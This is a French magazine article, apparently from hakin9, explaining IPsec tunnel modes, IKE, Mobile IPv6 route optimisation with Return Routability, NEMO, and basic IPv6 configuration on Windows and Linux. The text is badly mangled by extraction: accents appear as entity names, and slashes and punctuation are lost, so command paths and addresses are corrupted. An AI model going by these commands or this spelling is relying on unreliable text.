Mode tunnelEn mode Tunnel lrsquoextension ESP est inseacutereacutee avant lrsquoen-tecircte IPv6 Un nouvel en-tecircte IPv6 est alors inseacutereacute en tecircte La Figure 6 et le tableau 4 preacutesentent le mode de construction de ce ne nouvel en-tecircte ainsi que le posi-tionnement des champs de lrsquoen-tecircte Inteacuterieur Dans le cas drsquoune utilisation en mode tunnel la totaliteacute du pa-quet initial est donc chiffreacutee

topologies de mises en œuvre IPsec a un inteacuterecirct majeur principalement par son mode ESP dans le cas ougrave nous souhaitons

bull chiffrer etou authentifier du trafic de bout en bout ou jusqursquoagrave une passerelle Dans ce cas les entiteacutes en

preacutesence doivent preacutefeacuterentiellement disposer drsquoun adressage public le NAT eacutetant assez difficilement compatible avec IPsec Une telle topologie a un inteacute-recirct majeur pour assurer la confidentialiteacute entre 2 enti-teacutes ou pour un utilisateur nomade par exemple

bull creacuteer un VPN entre sites distants Ce besoin inter-vient pour par exemple interconnecter des reacuteseaux priveacutes distants au travers dun reacuteseau public

Ces 2 modes opeacuterationnels sont reacutesumeacutes dans la Fi-gure 7 Dans cette figure la protection est symeacutetrique ce qui nrsquoest pas forceacutement le cas les associations de seacutecuriteacute eacutetant unidirectionnelles

iKe (internet Key exchange)Il a eacuteteacute preacuteceacutedemment indiqueacute qursquoAH et ESP neacutecessi-taient des cleacutes de chiffrements par le biais des associa-tions de seacutecuriteacute Cette gestion des cleacutes peut donc ecirctre manuelle mais dans un environnement conseacutequent une telle gestion devient irreacutealisable De plus cette meacutethode implique une deacutefinition totalement statique des associa-tions de seacutecuriteacute et un non-renouvellement des cleacutes

Le protocole IKE a donc eacuteteacute deacuteveloppeacute pour une ges-tion automatique des associations de seacutecuriteacute en parti-culier des cleacutes ainsi que des algorithmes agrave utiliser

IKE fait appel aux eacuteleacutements suivants

bull un protocole de gestion des associations de seacutecuri-teacute ISAKMP (Internet Security Association and Key Management Protocol) deacutefinissant des formats de paquets pour creacuteer modifier et deacutetruire des asso-ciations de seacutecuriteacute Ce protocole sert eacutegalement de support pour leacutechange de cleacutes preacuteconiseacute par les pro-tocoles de gestion de cleacutes Il assure aussi lauthenti-fication des partenaires dune communication

bull un protocole deacutechange de cleacutes de session fondeacute sur SKEME et Oakley qui repose sur la geacuteneacuteration de secrets partageacutes Diffie-Hellman

bull un domaine dinterpreacutetation ou DOI (Domain of In-terpretation) qui deacutefinit tous les paramegravetres propres agrave lenvironnement IPsec agrave savoir les protocoles

table 2 Construction de lrsquoen-tecircte IPv6 exteacuterieure pour AH en mode tunnel

Champs de lrsquoen-tecircte IPv6 en-tecircte Exteacuterieur en-tecircte InteacuterieurVersion Positionneacute agrave la valeur 6 Aucune modification

DS Copieacute depuis lrsquoen-tecircte inteacuterieur Aucune modification

ECN Copieacute depuis lrsquoen-tecircte inteacuterieur Positionneacute agrave 0

Flow Label Copieacute depuis lrsquoen-tecircte inteacuterieur ou configureacute Aucune modification

Payload Length Construit Aucune modification

Next Header Positionneacute agrave la valeur de AH (51) Aucune modification

Hop Limit Construit Deacutecreacutementeacute drsquoune uniteacute

Source Address Construit Aucune modification

Destination Address Construit Aucune modification

Extensions Headers Jamais copieacute mais peut apparaicirctre en postambule Aucune modification

5201044

Pratique

deacutechanges de cleacutes les paramegravetres dassociations de seacutecuriteacute agrave neacutegocier hellip

bull les cleacutes utiles lors de lauthentification mutuelle des eacutequipements IPsec qui intervient en preacutealable agrave toute neacutegociation dassociation de seacutecuriteacute Ces cleacutes peu-vent ecirctre des cleacutes partageacutees (pre-shared key) preacutecon-figureacutees par ladministrateur ou des cleacutes priveacuteespubli-ques personnelles agrave chaque eacutequipement IPsec et preacute-chargeacutees dans les eacutequipements ou encore un certifi-cat eacutelectronique geacutereacute par une infrastructure agrave cleacutes pu-bliques (PKI Public Key Infrastructure)

A lrsquoheure actuelle deux versions cohabitent IKEv1 tregraves complexe et IKEv2 qui en est une version simplifieacutee pour sa mise en œuvre ainsi que par son meacutecanisme

Mobiliteacute de Machines MiPv6En termes de mobiliteacute deux meacutecanismes principaux se distinguent la micro-mobiliteacute et la macro-mobiliteacute La micro-mobiliteacute est celle utiliseacutee entre autres par le wifi Les entiteacutes en cours de deacuteplacement sassocient de nouveau agrave des stations de base et conservent leur possibiliteacute de connectiviteacute au sein drsquoun domaine Cette gestion des handovers est relativement fine et limite la signalisation au sein du reacuteseau Ces meacutecanismes sont cependant peu efficaces au sein de plusieurs domai-nes En effet les adresses IP sont dans ce dernier cas reneacutegocieacutees pour mapper au domaine et pouvoir ainsi ecirctre routables

La macro-mobiliteacute reacutesout ce problegraveme en conservant une connectiviteacute IP mecircme lors drsquoun changement de do-maine Les adresses IP originelles continuent drsquoecirctre uti-liseacutees lors des communications De mecircme les sessions TCP peuvent ainsi rester fonctionnelles lors drsquoun deacutepla-cement entre domaines IPv6 integravegre ce concept dans le protocole MIPv6 (Mobile IPv6)

ConceptsAvant de poursuivre il convient de deacutefinir les mots cleacutes principaux utiliseacutes par MIPv6

bull Reacuteseau Megravere reacuteseau auquel la machine appar-tient initialement

bull Nœud correspondant machine dialoguant avec le mobile

bull Home Address adresse IPv6 dans le reacuteseau megraverebull Care-of Address adresse IPv6 dans le reacuteseau visiteacutebull Agent Megravere machine du reacuteseau megravere servant drsquoin-

terface entre le mobile et le nœud correspondant

MIPv6 utilise intensivement la notion de tunnels Scheacute-matiquement les paquets transmis par le mobile dans un reacuteseau eacutetranger passent par lrsquoAgent Megravere preacutesent dans le reacuteseau megravere avant drsquoecirctre retransmis au Nœud corres-pondant Le chemin de retour est identique Le routage sous-jacent apporte le paquet jusqursquoagrave lrsquoAgent Megravere qui le retransmet au mobile dans son reacuteseau visiteacute

Lrsquoagent megravere doit eacutegalement ecirctre capable agrave tout mo-ment de localiser ses mobiles en deacuteplacement Il utilise pour cela un cache baptiseacute Binding Cache associant Home Address et Care-of Address de ses diffeacuterents mo-biles Un meacutecanisme de signalisation proteacutegeacute par IPsec en mode ESP est par conseacutequent utiliseacute pour mettre agrave jour ce cache Il ne sera pas fait eacutetat des paquets MIPv6 ici il srsquoagit simplement de savoir que cette mise agrave jour srsquoeffectue agrave lrsquoaide de paquets particuliers nommeacutes Bin-ding Update Ceux-ci sont geacuteneacuteralement acquitteacutes par lrsquoAgent Megravere par des Binding Acknowledgment

Lrsquoensemble des meacutecanismes basiques de MIPv6 se situe au niveau de la couche IP dans le modegravele TCPIP Ils ont eacuteteacute modeleacutes pour permettre une communication avec des entiteacutes nrsquoayant pas conscience des protoco-les de mobiliteacute Ils nont aucun effet sur les couches de

table 3 Rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte ESP

Champs Taille RocircleSPI 32 bits Security Parameters Index utiliseacute par le reacutecepteur pour trouver lrsquoassociation de seacutecuriteacute agrave

utiliser

Sequence Number 32 bits Compteur increacutementeacute agrave chaque paquet Permet en particulier de deacutetecter le rejeu

IV VariableSelon lrsquoalgorithme usiteacute

Vecteur drsquoinitialisation eacuteventuel pour les algorithmes de chiffrement

TFC Padding Variable Traffic Flow Confidentiality Utiliseacute pour une protection contre les attaques statistiques

Padding Variable Utiliseacute pour des besoins drsquoalignement drsquoen-tecircte Sa taille est telle que lrsquoextension drsquoen-tecircte ESP est un multiple de 64 bits (32 bits pour IPv4)

Pad Length 8 bits Indique la taille du champ Padding en octets

Next Header 8 bits Deacutecrit lrsquoen-tecircte de la couche immeacutediatement supeacuterieure ou la prochaine extension drsquoen-tecircte Similaire au champ Protocol en IPv4

ICV VariableSelon lrsquoalgorithme usiteacute

Integrity Check Value Destineacute agrave la validation de lrsquointeacutegriteacute du paquet Doit ecirctre un multiple de 32 bits

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 45

niveau transport et applicative Pour le correspondant cette communication est totalement transparente

Mobiliteacute de Machines MiP6Le mobile situeacute dans son reacuteseau megravere utilise sa Home Address pour dialoguer de maniegravere classique avec des Nœuds correspondants Lorsqursquoil se deacuteplace dans un reacuteseau visiteacute la proceacutedure est la suivante

bull Le mobile obtient une nouvelle adresse IP par com-binaison de son adresse MAC et du nouveau preacute-fixe reacuteseau la Care-of Address Il dispose toujours de sa Home Address

bull Le mobile transmet un Binding Update agrave lrsquoagent megravere afin de mettre agrave jour son cache drsquoassociation Ce paquet eacutetant proteacutegeacute par IPsec en mode ESP lrsquoauthentification lrsquoanti-rejeu la confidentialiteacute et lrsquoin-teacutegriteacute sont assureacutes

bull Lrsquoagent megravere aura alors agrave charge de capturer les paquets auparativement transmis au mobile II uti-lise dans cette optique les possibiliteacutes offertes par le protocole de deacutecouverte des voisins (Neighbor Discovery) en annonccedilant son adresse MAC com-me destinataire de lrsquoensemble des paquets unicast agrave destination du mobile Les caches NDP des ma-chines preacutesentent sur le lien megravere seront ainsi re-mis agrave jour

bull Lorsque le mobile souhaite dialoguer avec un nœud correspondant il peut choir drsquoutiliser son nouvel adres-sage ou de masquer sa mobiliteacute par lrsquoutilisation de sa Home Address Dans ce dernier cas il construit un tunnel ESP avec son Agent Megravere et encapsule les pa-quets agrave destination de son correspondant Lrsquoadresse source de la partie interne est ainsi la Home Address lrsquoadresse destination est celle du correspondant

bull Le paquet parvient agrave lrsquoAgent Megravere qui veacuterifie son authentification le deacutechiffre le deacutesencapsule et le retransmet sur le reacuteseau

bull Le correspondant pourra y reacutepondre de maniegravere sy-meacutetrique Cette reacuteponse sera captureacutee par lrsquoAgent Megravere chiffreacutee et authentifieacutee avant drsquoecirctre retrans-mise au mobile dans le tunnel ESP En cas drsquoun deacute-placement en cours de communication le binding cache aura eacuteteacute actualiseacute permettant agrave lrsquoAgent megravere de retrouver son mobile

La Figure 8 positionne ces diffeacuterentes entiteacutes dans un contexte MIPv6

Optimisations de routesLes eacutechanges entre mobiles et correspondants nrsquoeacutetant pas toujours les plus optimums en matiegravere de routage MIPv6 integravegre un mode drsquooptimisation pour les corres-pondants inteacutegrant des fonctions speacutecifiques Il srsquoagit de supprimer simplement la passerelle occasionneacutee par lrsquoAgent Megravere

Pour cela MIPv6 deacutefinit 2 nouvelles options

bull Routing Header de type 2 qui est simplement une extension drsquoen-tecircte Routing Header contenant la Home Address du mobile

bull Home Address Option qui est une sous-option de lrsquoextension drsquoen-tecircte Destination Option Header trai-teacute uniquement par le reacutecepteur du paquet

Lorsquun correspondant supporte loptimisation de rou-tage il maintient tout comme lAgent Megravere une table des associations pour tous les mobiles avec lesquels il est en communication Une veacuterification axeacutee autour drsquoICM-Pv6 est preacutealable avant toute optimisation

Le principe est alors assez proche de celui utiliseacute avec lrsquoAgent Megravere

bull Le mobile en deacuteplacement transmet un Binding Update au correspondant pour lui faire eacutetat de sa nouvelle localisation apregraves en avoir fait de mecircme agrave

table 4 Construction de lrsquoen-tecircte IPv6 exteacuterieure pour ESP en mode tunnel

Champs de lrsquoen-tecircte IPv6 en-tecircte Exteacuterieur en-tecircte InteacuterieurVersion Positionneacute agrave la valeur 6 Aucune modification

DS Copieacute depuis lrsquoen-tecircte inteacuterieur Aucune modification

ECN Copieacute depuis lrsquoen-tecircte inteacuterieur Positionneacute agrave 0

Flow Label Copieacute depuis lrsquoen-tecircte inteacuterieur ou configureacute

Aucune modification

Payload Length Construit Aucune modification

Next Header Positionneacute agrave la valeur de ESP (50) Aucune modification

Hop Limit Construit Deacutecreacutementeacute drsquoune uniteacute

Source Address Construit Aucune modification

Destination Address Construit Aucune modification

Extensions Headers Jamais copieacute mais peut apparaicirctre en postambule

Aucune modification

5201046

Pratique

son Agent Megravere Ce correspondant mettra alors agrave jour son Binding Cache

bull Lorsque le mobile veut transmettre un message au correspondant il utilise en adresse source sa Care-of Address mais ajoute lrsquooption Home Address Option

bull Le paquet subira le routage classique entre le mobi-le et le correspondant remontera dans la pile MIPv6 de ce correspondant qui eacutechangera Care-of Address du champ adresse source et Home Address preacutesen-tes dans lrsquooption Home Address Option Pour la pi-le IPv6 le paquet sera transparent comme prove-nant directement du mobile depuis son reacuteseau Megravere Si ce paquet est proteacutegeacute par IPsec les veacuterifications sappuieront donc sur lrsquoadresse megravere

bull Avant de reacutepondre le correspondant cherchera dans sa table drsquoassociation la Care-Of Address du mobile Il transmettra alors le paquet en utilisant cette Care-Of Address en destination et y ajoutera lrsquooption Rou-ting Header de type 2 remplie avec la Home Address

bull Le paquet parviendra donc au mobile qui eacutechangera preacutealablement lrsquoadresse de destination avec la Home Address Le paquet remontera donc eacutegalement dans les couches de maniegravere totalement transparente

Ce meacutecanisme donne donc des trajectoires opti-mums en matiegravere de routage et permet de limiter les contraintes en matiegravere drsquoingress et drsquooutgress filte-ring Ce meacutecanisme de mise agrave jour dassociation po-se cependant dimportants problegravemes en matiegravere de seacutecuriteacute En effet il est aiseacute de proteacuteger les eacutechan-ges de signalisation entre le mobile et lagent megravere du fait de la relation administrative qui permet par exemple lutilisation dun secret partageacute mais ceci est beaucoup plus compliqueacute en ce qui concerne les correspondants sans protection il serait possible de deacutetourner les communications dun mobile en re-dirigeant le trafic pour lespionner ou de mener une attaque par deacuteni de service Une proceacutedure speacutecifi-que baptiseacutee Return Routability proceacutedure doit donc ecirctre mise en œuvre avant toute deacutecision drsquooptimisa-tion

return routability proceacutedureCette proceacutedure est destineacutee agrave la protection partielle des associations de seacutecuriteacute entre mobile et correspon-dant dans le cas de lrsquooptimisation de route Elle repose sur une utilisation de 4 messages principaux

table 5 Les commandes essentielles IPv6 sous Windows

Commande Netsh Rocirclenetsh interface ipv6 show interface Affiche les interfaces IPv6

netsh interface ipv6 set interface[[interface=]String][[forwarding=]enabled | disabled][[advertise=]enabled | disabled][[mtu=]Integer] [[siteid=]Integer][[metric=]Integer] [[store=]active |persistent]

Permet drsquoactiver le forwarding des interfaces les annonces de Rout-er Advertisement

netsh interface ipv6 add address[[interface=]String][address=]IPv6Address[[type=]unicast | anycast][[validlifetime=]Integer | infinite][[preferredlifetime=]Integer |infinite] [[store=]active | persistent]

Permet drsquoajouter des adresses IPv6 aux interfaces

netsh interface ipv6 showbindingcacheentries

Affiche le Binding cache utiliseacute par MIPv6

netsh interface ipv6 show routes[[level=]normal | verbose][[store=]active | persistent]

Affiche les routes IPv6

netsh interface ipv6 add route[prefix=]IPv6AddressInteger[[interface=]String][[nexthop=]IPv6Address][[siteprefixlength=]Integer][[metric=]Integer] [[publish=]no | yes| immortal] [[validlifetime=]Integer |infinite] [[preferredlifetime=]Integer| infinite] [[store=]active |persistent]

Ajoute une route IPv6 dans la table de routage

netsh interface ipv6 renew[[interface=]String]

Permet la reacuteinitialisation des adresses IPv6

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 47

bull HoTI Home Test Initbull CoTI Care-of Test Initbull HoT Home Testbull CoT Care-of Test

Les correspondants inteacutegrant lrsquooptimisation de route doivent preacutealablement disposer de nonces et drsquoune cleacute secregravete noteacutee Kcn

La proceacutedure utiliseacuteee est la suivante

bull un message HoTI est eacutemis depuis la Home Address du mobile vers le correspondant via lagent megravere Il contient une valeur aleacuteatoire sur 64 bits le Home Init cookie

bull parallegravelement un message CoTI est eacutemis depuis la care-of address du mobile directement vers le nœud correspondant Celui-ci contient une seconde valeur aleacuteatoire sur 64 bits le Care-of Init cookie

bull en reacuteponse au message HoTI un message HoT est eacutemis par le correspondant agrave destination de la Home Address du mobile via lAgent Megravere Ce pa-quet contient entre autres lrsquoindex drsquoun nonce choisi par le correspondant ainsi qursquoun Home Keygen to-ken calculeacute par premier (64 HMAC _ SHA1 (Kcn (home

address | nonce | 0 )))

bull de mecircme en reacuteponse au message CoTI un message CoT est eacutemis par le correspondant vers la Care-of Ad-dress du mobile Ce paquet contient entre autres lrsquoin-dex drsquoun autre nonce choisi par le correspondant ain-si qursquoun Home Keygen token calculeacute par premier (64 HMAC _ SHA1 (Kcn (care-of address | nonce | 0 )))

A lrsquoissue de ces diffeacuterentes eacutetapes le mobile calcule une cleacute noteacutee Kbm

Kbm = SHA1 ( home keygen token | care-of keygen

token)

La Figure 9 repreacutesente le cheminement de ces diffeacute-rents messages au travers de lrsquoInternet

Cette cleacute sera utiliseacutee lors de la mise agrave jour des associa-tions pour authentifier le mobile par le calcul drsquoun HMAC

Cette proceacutedure repose sur lrsquohypothegravese forte qursquoaucun espion nrsquoeacutecoute agrave la fois les messages CoT et HoT qui

normalement empruntent des chemins distincts Dans le cas contrairen il lui serait aiseacute de calculer Kbm et de geacuteneacuterer des faux messages drsquoassociation Cette eacutecou-te nrsquoest pas faisable dans le reacuteseau visiteacute puisque les eacutechanges entre Agent Megravere et mobile sont chiffreacutes Pra-tiquement cette attaque est aiseacutee dans le reacuteseau du correspondant mais elle nrsquoest pas eacutevalueacutee comme eacutetant plus risqueacutee que celles rencontreacutees dans un contexte sans mobiliteacute par simple IP-spoofing NDP spoofinghellip

Afin de reacuteduire les risques les nonces ainsi que la cleacute Kcn sont reacuteguliegraverement actualiseacutes

Mobiliteacute de reacuteseaux NeMOMIPv6 gegravere la mobiliteacute dun hocircte tandis que NEMO as-sure la mobiliteacute dun reacuteseau IPv6 entier appeleacute reacuteseau mobile Dans le cas de NEMO la complexiteacute est centra-liseacutee sur un eacutequipement deacutedieacute le routeur mobile Ain-si chaque mouvement (lorsque le reacuteseau mobile se deacute-place dun reacuteseau daccegraves vers un autre) est transparent pour lensemble des hocirctes IPv6 du reacuteseau mobile Un hocircte IPv6 standard peut ainsi beacuteneacuteficier dune connecti-viteacute permanente au sein dun reacuteseau mobile sans avoir toutefois besoin de protocoles additionnels

NEMO coupleacute avec certaines extensions gegravere notam-ment la mobiliteacute des reacuteseaux IPv6 la continuiteacute des flux les eacutequipements multi-interfaces Dans sa version ac-tuellement standardiseacutee NEMO ne gegravere cependant pas les optimisations de route comme peut le geacuterer MIPv6

Pratique amp Mise en œuvreLa majeure partie des Systegravemes drsquoexploitation des softwares des eacutequipements reacuteseaux actuels disposent drsquoun support IPv6 Vous pourrez le veacuterifier sur le site de lrsquoIPv6 Ready Logo Committee programme mondial de certification IPv6 Vous obtiendrez sur ce site le deacute-tail des impleacutementations actuellement certifieacutees et vous constaterez aiseacutement lrsquoimportant retard de lrsquoEurope

Les infrastructures reacuteseaux europeacuteennes ont eacutegalement accumuleacutees un retard consideacuterable dans cette migration hellip Et pourtant les reacuteseaux de lrsquoenseignement et de la re-cherche proposent depuis deacutejagrave plusieurs anneacutees un sup-port Natif drsquoIPv6 voire du multicast IPv6 Heureusement quelques ISP (Internet Service Provider) tels que Free offrent depuis quelques mois un adressage IPv6

table 6 Commandes principales pour la configuration drsquoIPv6 sous linux

Commande ip Rocircleip -6 address show [dev ltpeacuteripheacuteriquegt] Affiche les adresses IPv6

ip -6 addr add ltadresseipv6gtltlongueurdupreacutefixegt dev ltinterfacegt Ajoute une adresse IPv6

ip -6 route show [dev ltpeacuteripheacuteriquegt] Affiche les routes IPv6

ip -6 route add ltreacuteseauipv6gtltlongueurdupreacutefixegt via ltadresseipv6gt [dev ltpeacuteripheacuteriquegt]

Ajoute une route IPv6

ip -6 neigh show [dev ltpeacuteripheacuteriquegt] Affiche les voisins NDP

ip -6 neigh add ltadresseIPv6gt lladdr ltadressedelacouche-liengt dev ltpeacuteripheacuteriquegt

Ajoute un voisin NDP

5201048

Pratique

Ce paragraphe a pour objectif de vous faire appreacute-hender la mise en œuvre basique drsquoIPv6 sur les prin-cipaux systegravemes utiliseacutes agrave savoir Windows et Linux Nous supposons que vous disposez drsquoores et deacutejagrave drsquoun adressage IPv6 parce que vous ecirctes par exem-ple dans une des situations preacuteceacutedemment eacutevoqueacutees Rappelons que les Internet IPv4 et IPv6 sont bien dis-tincts mecircme si une utilisation des machines en double pile permet la superposition de certaines portions Dans le cas contraire si vous deacutesirez plus qursquoun reacuteseau local il vous faudra utiliser lun des meacutecanismes de transition deacutecrits dans lrsquoarticle preacuteceacutedent Nous vous conseillons de preacutefeacuterence un tunnel broker et en second choix un tunnel 6to4

avec WindowsLa majeure partie des versions courantes de Windows disposent drsquoun support IPv6 Vista XP SP1 XP SP2 Server 2003 2008 Sous Vista et Server 2008 ce sup-port est activeacute par deacutefaut Sous XP ou Server 2003 il vous faudra lrsquoactiver au preacutealable

Selon les versions de Windows les meacutecanismes dis-ponibles sont plus ou moins complets

La mobiliteacute IPv6 ne prend en compte que la partie correspondant ni Home Agent ni Nœud Mobile ne sont disponibles

Sous Windows XP et Server 2003 IPsec pour IPv6 of-fre les meacutecanismes AH et ESP mais le chiffrement ainsi que la gestion automatique des cleacutes nrsquoest pas disponible Seuls Vista et Server 2008 offrent ces fonctionnaliteacutes

Vista et Server 2008 permettent une utilisation de DHCPv6

activation de la pile iPv6 amp Configuration des adressesCe besoin ne se retrouve que sous XP et Windows Server 2003 dont la pile IPv6 est par deacutefaut deacutesacti-veacutee

Cette activation se fait par le biais de lrsquooutil ipv6exe sous Windows XP ougrave de la commande netsh disponible sur toutes les versions

Sous Windows XP il srsquoagit drsquoexeacutecuter ipv6 install

Bien entendu les interfaces concerneacutees doivent ac-cepter la connectiviteacute TCPIPv6 dans le menu Proprieacute-teacutes adeacutequat

Une adresse Lien-locale associeacutee agrave chacune de vos cartes reacuteseau sera alors automatiquement configureacutee par concateacutenation du preacutefixe fe80 et de votre identifiant drsquointer-face deacutefini depuis lrsquoadresse MAC associeacutee Les interfaces relieacutees agrave un reacuteseau IPv6 constitueacute drsquoun routeur annonccedilant des Router Advertisement obtiendront de mecircme automa-tiquement une adresse globale unicast unique routable et contenant lrsquoadresse MAC de lrsquointerface concerneacutee

La commande ipconfig all (ou netsh show) vous prou-vera votre connectiviteacute La figure 10 vous montre une telle configuration sous Windows XP

Vous constaterez eacutegalement une adresse suppleacute-mentaire qualifieacutee de Temporaire Il srsquoagit en fait drsquoune adresse globale de dureacutee de vie relativement courte destineacutee au masquage de lrsquoadresse MAC (disponible depuis le SP2) Au besoin vous pourrez la deacutesactiver par ipv6 ndashp gpu useTemporaryAddresse no

Connectiviteacute cheminLorsque vous disposerez drsquoune adresse routable ou simplement pour tester la connectiviteacute entre deux ma-chines vous pourrez utiliser la commande ping6 qui est le pendant de ping pour IPv4 Cette commande geacute-negravere un ensemble de paquets ICMPv6 Echo Request et affiche les reacuteponses associeacutees ICMPv6 Echo Re-ply

La Figure 11 montre un tel ping6 sur wwwgooglefr deacutesormais adressable en IPv6 Les paquets reacutesultants de cette commande sont eacutegalement indiqueacutes par cap-ture du trafic avec Wireshark

En IPv4 pour connaicirctre le trajet suivi par les paquets la commande tracert est geacuteneacuteralement utiliseacutee En IPv6 il srsquoagit deacutesormais de tracert6

Cache des voisins (NDP Cache)La reacutesolution MACAdresse en IPv4 donne naissan-ce au cache ARP obtenu par arp ndashan par exemple En IPv6 il srsquoagit deacutesormais du cache NDP qui peut ecirctre ob-tenu par ipv6 nc ou netsh interface ipv6 show neighbors

table 7 Reacutefeacuterences

Lien Titrehttplivrepoint6netindexphp IPv6 Theacuteorie et Pratique - Gisegravele Ciza-

ult

httpipv6readyorg Site de lrsquoIPv6 Ready Logo Committee

httpwwwdeepspace6netdocsipv6_status_page_appshtml Statut des applications reacuteseaux sup-portant IPv6

httpmirrorsdeepspace6netLinux+IPv6-HOWTO-fr HOWTO IPv6 pour Linux

httpwwwlinux-franceorgprjinetdocguidesAdvanced-routing-Howto HOWTO du routage avanceacute et du con-trocircle de trafic sous Linux

httpwikiwiresharkorgESP_Preferences Le module de deacutechiffrement et drsquoauthentification ESP pour Wireshark

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 49

Diverses CommandesLrsquoensemble des configurations essentielles IPv6 sous Windows srsquoeffectuent agrave lrsquoaide de Netsh (etou ipv6exe sous Windows XP) Hormis celles preacuteceacutedemment deacutefi-nies les commandes essentielles sont indiqueacutees dans le Tableau 5

accegraves Web en iPv6Classiquement en IPv4 les URLs (Uniform Resource Locator) utiliseacutees dans les accegraves HTTP (HypertexT Transfert Protocol) utilisent le nommage DNS (Domain Name System) Avant toute requecircte lrsquoadresse du ser-veur HTTP est donc geacuteneacuteralement preacutealablement tra-duite par le biais des serveurs DNS Avec IPv6 il en est de mecircme le browser dans un premier temps recher-che lrsquoensemble des adresses IP associeacutees au serveur HTTP Si celui-ci dispose drsquoune adresse IPv6 il tentera dans un premier temps de le joindre par IPv6 En cas drsquoeacutechec crsquoest le protocole IPv4 qui sera utiliseacute Nous rappelons qursquoil nrsquoest pas indispensable que le serveur DNS soit adresseacute en IPv4 pour retourner des adresses IPv6

A lrsquoheure actuelle la majeure partie des navigateurs supporte IPv6 par deacutefaut Firefox Internet Explorer hellip A titre drsquoexemple vous pourrez vous connecter sur wwwkamenet Si vous disposez drsquoun accegraves exteacuterieur IPv6 et drsquoun browser compatible vous devriez voir en premiegravere page une tortue animeacutee Le cas eacutecheacuteant elle sera fixe

Avec IPv6 les adresses eacutetant 4 fois plus longues les URLs contenant des IPs devraient encore moins se pratiquer Cependant ceci reste possible et pour diffeacute-rencier les de lrsquoadresse avec la section port de lrsquoURL il faut entourer lrsquoIP de [ ] (Exemple http[20014860a00368] pour acceacuteder agrave google en IPv6)

avec LinuxQuelle que soit la distribution contemporaine utiliseacutee celle-ci contient IPv6 Vous pourrez neacuteanmoins tester la preacutesence de son support dans le noyau par veacuterification de la preacutesence du chemin procnetif_inet6 Le mo-dule IPv6 doit eacutegalement ecirctre chargeacute avant toute utilisa-tion Un appel agrave lsmod vous le confirmera

table 8 Liste des RFCs relatives agrave IPv6

Norme TitreRFC 2403 The Use of HMAC-MD5-96 within ESP and AH

RFC 2404 The Use of HMAC-SHA-1-96 within ESP and AH

RFC 2405 The ESP DES-CBC Cipher Algorithm With Explicit IV

RFC 2409 The Internet Key Exchange (IKE)

RFC 2451 The ESP CBC-Mode Cipher Algorithms

RFC 3566 The AES-XCBC-MAC-96 Algorithm and Its Use With IPsec

RFC 3602 The AES-CBC Cipher Algorithm and Its Use with IPsec

RFC 3686 Using Advanced Encryption Standard (AES) Counter Mode With IPsec Encapsulating Security Payload (ESP)

RFC 3775 Mobility Support in IPv6

RFC 3776 Using IPsec to Protect Mobile IPv6 Signaling Between Mobile Nodes and Home Agents

RFC 3963 Network Mobility (NEMO) Basic Support Protocol

RFC 4109 Algorithms for Internet Key Exchange version 1 (IKEv1)

RFC 4301 Security Architecture for the Internet Protocol

RFC 4302 IP Authentication Header

RFC 4303 IP Encapsulating Security Payload (ESP)

RFC 4306 Internet Key Exchange (IKEv2) Protocol

RFC 4307 Cryptographic Algorithms for Use in the Internet Key Exchange Version 2 (IKEv2)

RFC 4385 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4835 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4877 Mobile IPv6 Operation with IKEv2 and the Revised IPsec Architecture

RFC 4885 Network Mobility Support Terminology

RFC 4886 Network Mobility Support Goals and Requirements

RFC 4887 Network Mobility Home Network Models

RFC 4888 Network Mobility Route Optimization Problem Statement

RFC 4889 Network Mobility Route Optimization Solution Space Analysis

5201050

Pratique

activation de la pile iPv6 amp Configuration des adressesSous Linux lrsquoensemble des configurations IPv6 peut ecirctre reacutealiseacute agrave lrsquoaide des anciennes commandes ifcon-fig netstat hellip

Depuis les noyaux au moins supeacuterieurs au 24 le sous-systegraveme reacuteseau a eacuteteacute complegravetement reacuteeacutecrit Lrsquoiproute2 eacutetend ainsi grandement les possibiliteacutes et centralise les configurations reacuteseaux La commande principale est ip

Le Tableau 6 preacutesente donc quelques une des op-tions principales pour configurer Ipv6

Le systegraveme Linux eacutetant lun des mieux documenteacutes si lrsquoune des options vous manque vous pouvez toujours utiliser la commande man (exemple man 8 ip)

Mise en œuvre mode routeurPour mettre en place un routeur etou une passerelle vous devez activer le forwarding entre les diffeacuterentes in-terfaces reacuteseaux Ceci se reacutealise par le biais de fichiers de configuration speacutecifiques agrave chaque distribution (geacuteneacute-ralement sous lrsquoarborescence etcsysconfignetwork) ou directement par dialogue avec le Kernel Ce dialogue est temporaire et agrave chaque reboot il sera reacuteinitialiseacute (sauf utili-sation de script de deacutemarrage geacuteneacuteralement etcrclocal)

Il se reacutealise par des appels agrave la commande sysctl ou par eacutecriture dans les fichiers propres au kernel

Il srsquoagit sous IPv6 de lrsquoarborescence procsysnetipv6 Le fait drsquoeacutecrire 1 dans le fichier procsysnetipv6confallforwarding activera le forwarding entre toutes les interfaces Au besoin le controcircle du forwarding par interface doit ecirctre reacutealiseacute en utilisant les jeux de regravegles de netfilter-IPv6 (agrave lrsquoaide drsquoip6tables) en speacutecifiant les peacuteripheacuteriques dentreacutee et de sortie

Il vous faudra certainement activer en plus les Router Advertisements afin de permettre aux machines preacutesen-tes sur le lien de srsquoautoconfigurer Ces paquets sont geacute-neacutereacutes suite au deacutemarrage du deacutemon radvd Ce deacutemon utilise un fichier de configuration preacutesent geacuteneacuteralement dans etcradvdconf Ce fichier preacutecise les principaux paramegravetres des Router Advertisements agrave savoir

bull le preacutefixebull la dureacutee de vie du preacutefixebull la freacutequence des envois dannoncebull hellip

En dernier point il vous faudra peut-ecirctre activer un protocole de routage intra-domaine (Ripng OSPfv3) voire inter-domaine (Is-Is BGP-4+)

Listing 1 Structure geacuteneacuterale du fichier setkeyconf

flush

spdflush

Configuration SPD

Configuration SAD

spddump

dump esp

Listing 2 Configuration SPD sur 3ffe1

spdadd -6 3ffe1 3ffe2 any -P out ipsec esptransportrequire

spdadd -6 3ffe1 3ffe3 any -P out ipsec esptransportrequire

Listing 3 Configuration SAD sur 3ffe1

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

add 3ffe1 3ffe3 esp 11

-E 3des-cbc 3descbcencryptiontesting

-A hmac-sha1 hmacsha1authenticati

